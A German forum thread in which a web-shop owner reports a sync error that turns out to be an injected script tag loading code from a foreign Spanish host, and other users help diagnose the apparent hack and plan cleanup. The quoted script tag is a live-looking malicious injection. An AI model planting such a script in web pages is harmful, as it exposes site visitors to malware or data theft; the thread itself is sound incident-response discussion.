Fehlermeldung bei Webshopabgleich

[indiantom]

Hallo zusammen,

ich hoffe, erneut Hilfe in diesem Forum zu erhalten.
Folgende Fehlermeldung erscheint beim Webshopabgleich beim Artikel senden.

<script src="http://almagestalt.es/flash/BXYfxwSA.php?id=59499307"
type="text/javascript"></script>0

in Zusammenhang mit einem Ausrufezeichen in einem gelben Dreieck.

Diese Meldung klicke ich dreimal mit OK weg, und der Abgleich scheint zu funktionieren.

In der WaWi oder im Shop habe ich die letzten Tage nichts geändert.


Für jede Hilfe besten Dank

Tom

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

ich habe den Verdacht, dass unser Shop gehackt wurde???

almagestalt.es ist eine spanische Terapieseite, mit der ich nichts zu tun habe.

Außerdem kommt mann im Shop nicht mehr zu den Artikeldetails usw.

 

[Andreas Grambow]

AW: Fehlermeldung bei Webshopabgleich

Hallo,

sieht stark danach aus. Da man nicht absehen kann, was alles verändert worden ist, wirst du evtl. den Shop komplett neu aufsetzen müssen. Hast du immer noch 3.09?

 

[Andreas Grambow]

AW: Fehlermeldung bei Webshopabgleich

hast du eine halbwegs aktuelle Sicherung vom Shop und von der DB?

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

Hallo Andreas,

danke für die Antwort.

Shop 3.09 ist meine Version. Datenbank zuletzt gesichert am 22.12.2013. Shop seit der letzten Veränderung vor ´nem halben Jahr auch.
Gibt´s keine andere Möglichkeit? Und wie konnte sowas passieren?

 

[Andreas Grambow]

AW: Fehlermeldung bei Webshopabgleich

Gründe gibt es viele. Zum Beispiel das die Passwörter geknackt worden sind. Die Frage wäre jetzt ist die DB oder die Shopdateien manipuliert worden. Kannst ja mal in den Admin gehen und unter Admin/Shopdateiencheck ob da schon etwas festgestellt wird.

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

208 Dateien sind modifiziert. Werde wohl alle Dateien überprüfen müssen... oder gleich einen aktuellen Shop kaufen...

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

wie kann ich überprüfen, ob die Datenbank manipuliert worden ist?

 

[Andreas Grambow]

AW: Fehlermeldung bei Webshopabgleich

geh in phpmyadmin und exportiere die Datenbank.

die Datei öffnest du dann in einem Texteditor und suchst mal spaßensweise nach alles was http: enthält und prüfst was danach kommt. Wenn du dort dann fremde URLs drin hast, ist diese sicher befallen.

Ich hoffe für dich, das die DB sauber ist, dann besorgst du dir morgen vom Support (falls die das machen) eine Shopinstallation für die 3.09 und musst dann nur die shopini und die htaccess anpassen damit es erstmal wieder läuft. Dein Template kannst du ja aus der letzten Sicherung nehmen. Die gesicherten Shopdateien würde ich nicht nehmen, da man ja nicht weiß wie lange da schon jemand drin rumspielt.

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

Danke, ich werde morgen weiter machen

 

[reneromann]

AW: Fehlermeldung bei Webshopabgleich

Und natürlich alle Passwörter (sowohl Backend als auch Datenbank als auch Serverzugänge) verändern, damit ein unberechtiger Angreifer nicht wieder auf den Server kommt.

Wobei geprüft werden sollte, wie der Angreifer auf euer System gekommen ist (sprich ob der Shop oder Plugins für Zugriffe anfällig sind oder ob sogar der Server die Sicherheitslücke darstellt).

 

[indiantom]

AW: Fehlermeldung bei Webshopabgleich

Danke, Passwörter sind bereits alle geändert und Shop erstmal stillgelegt...